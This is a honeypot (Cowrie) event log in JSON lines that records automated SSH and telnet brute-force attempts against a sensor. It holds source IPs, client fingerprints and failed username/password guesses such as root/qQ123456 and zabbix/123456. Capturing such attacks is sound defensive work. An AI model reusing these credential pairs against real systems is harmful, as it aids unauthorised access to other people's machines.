{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47110,"dst_ip":"159.203.135.109","dst_port":22,"session":"b36666733778","protocol":"ssh","message":"New connection: 45.156.87.204:47110 (159.203.135.109:22) [session: b36666733778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:51.830778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:51.852508Z","src_ip":"45.156.87.204","session":"b36666733778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:51.921660Z","src_ip":"45.156.87.204","session":"b36666733778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:52.247836Z","src_ip":"45.156.87.204","session":"b36666733778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:52.541939Z","src_ip":"94.26.106.229","session":"731aeb6c7341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:52.925975Z","src_ip":"124.155.125.131","session":"f06e04115acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:53.336333Z","src_ip":"45.156.87.204","session":"b36666733778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.16808605194092,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:53.601440Z","src_ip":"152.42.224.71","session":"e2179d63dbbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.291192293167114,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:54.445058Z","src_ip":"152.42.224.71","session":"c4b51d7cb78b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38342,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb0d0428e652","protocol":"telnet","message":"New connection: 152.42.224.71:38342 (10.17.0.5:23) [session: cb0d0428e652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:54.513545Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":53936,"dst_ip":"159.203.135.109","dst_port":22,"session":"807355e4614b","protocol":"ssh","message":"New connection: 94.26.106.229:53936 (159.203.135.109:22) [session: 807355e4614b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:54.875656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:54.969013Z","src_ip":"94.26.106.229","session":"807355e4614b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:54.978311Z","src_ip":"94.26.106.229","session":"807355e4614b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51982,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c7b30d652e","protocol":"ssh","message":"New connection: 45.156.87.204:51982 (159.203.135.109:22) [session: e0c7b30d652e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:55.341521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:55.346775Z","src_ip":"45.156.87.204","session":"e0c7b30d652e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mauro","password":"mauro","message":"login attempt [mauro/mauro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:55.369719Z","src_ip":"94.26.106.229","session":"807355e4614b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:55.429721Z","src_ip":"45.156.87.204","session":"e0c7b30d652e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:55.678822Z","src_ip":"45.156.87.204","session":"e0c7b30d652e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:56.460774Z","src_ip":"94.26.106.229","session":"807355e4614b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:56.763899Z","src_ip":"45.156.87.204","session":"e0c7b30d652e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":53940,"dst_ip":"159.203.135.109","dst_port":22,"session":"175faa760c9d","protocol":"ssh","message":"New connection: 94.26.106.229:53940 (159.203.135.109:22) [session: 175faa760c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:57.179218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:57.184064Z","src_ip":"94.26.106.229","session":"175faa760c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:57.276715Z","src_ip":"94.26.106.229","session":"175faa760c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:57.774178Z","src_ip":"94.26.106.229","session":"175faa760c9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51990,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f7565c04ec","protocol":"ssh","message":"New connection: 45.156.87.204:51990 (159.203.135.109:22) [session: f9f7565c04ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:58.863526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:58.868434Z","src_ip":"45.156.87.204","session":"f9f7565c04ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:58.872465Z","src_ip":"94.26.106.229","session":"175faa760c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:58.951189Z","src_ip":"45.156.87.204","session":"f9f7565c04ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:59.465750Z","src_ip":"45.156.87.204","session":"f9f7565c04ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.17","src_port":2612,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10d61d65c75","protocol":"ssh","message":"New connection: 103.75.71.17:2612 (10.17.0.5:22) [session: d10d61d65c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:59.565196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:59.569266Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":53950,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fb6b5367958","protocol":"ssh","message":"New connection: 94.26.106.229:53950 (159.203.135.109:22) [session: 9fb6b5367958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:59.574784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:59.579314Z","src_ip":"94.26.106.229","session":"9fb6b5367958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:59.663550Z","src_ip":"94.26.106.229","session":"9fb6b5367958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:59.695376Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:59.916009Z","src_ip":"94.26.106.229","session":"9fb6b5367958","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:05:71:98:7c:e4:c9:e4:9a:3f:18:02:e2:fa:95:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkPtAaDjL+dqjN168m9m4J/Bi9bAqygDgIJ8cKbDRFP3VJi9GiPt28RljGGHoklwS+pQaAz5+kF1NYn7mL9OcDtYfqidOfTcexoC71xnSY4IeMQUmnWQEbGWD3IMWEGZK/QN4nJglo/dyXNif05trjMWTh3oqLHMdCWnCD1Wpg9anMv2AwBH9TUIGCtgl9FMbBTHUJgwVB+hynxZoiIvY5bkWTf8kMX50ALND7V/8T4CnQBOSUzLhOWBU8nU20H8FmhQRIBASXGzS5N+Y6S4wLLbVOxCQ9tVU3OaNfrcCuXC2DAbqC5Ru6wKzOJHpy/sllk+aNGI9MY0+fBolMyaD7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:05:71:98:7c:e4:c9:e4:9a:3f:18:02:e2:fa:95:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.300408Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:05:71:98:7c:e4:c9:e4:9a:3f:18:02:e2:fa:95:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkPtAaDjL+dqjN168m9m4J/Bi9bAqygDgIJ8cKbDRFP3VJi9GiPt28RljGGHoklwS+pQaAz5+kF1NYn7mL9OcDtYfqidOfTcexoC71xnSY4IeMQUmnWQEbGWD3IMWEGZK/QN4nJglo/dyXNif05trjMWTh3oqLHMdCWnCD1Wpg9anMv2AwBH9TUIGCtgl9FMbBTHUJgwVB+hynxZoiIvY5bkWTf8kMX50ALND7V/8T4CnQBOSUzLhOWBU8nU20H8FmhQRIBASXGzS5N+Y6S4wLLbVOxCQ9tVU3OaNfrcCuXC2DAbqC5Ru6wKzOJHpy/sllk+aNGI9MY0+fBolMyaD7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.304429Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:a1:11:00:12:52:e6:c9:bc:13:52:07:66:53:ad:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMdnLSmWiPwjHo8ltesc5qfFZ6qhUuwcf0R5YyqHIXY6w1gvAIIYMnF8hxt6NB59Ek8WYmv18q+CVfmklFlb3W+ur1peGSuX2UQYVENT276rXLifZfGD33UzvXtgGulGacnlss0luIl5HOywJDoasz9ZJy61BZY/uHhevPW5NawTzbuvxXuguec+/+V3UuBQRIvNx8S+TEH/hboMic8euAN+nHj5kICUvP52wbQ/QqSkwa1oduNcW3RG9IZxoo+ha21NCnrPR9hDdhKqTBrVhyCKe5qaoc8VGjTwVfeBcj3JekGBuy3u/C3ij5X59ZPuLIjiNbMxxvpOKlrcrHfSip","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:a1:11:00:12:52:e6:c9:bc:13:52:07:66:53:ad:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.431711Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
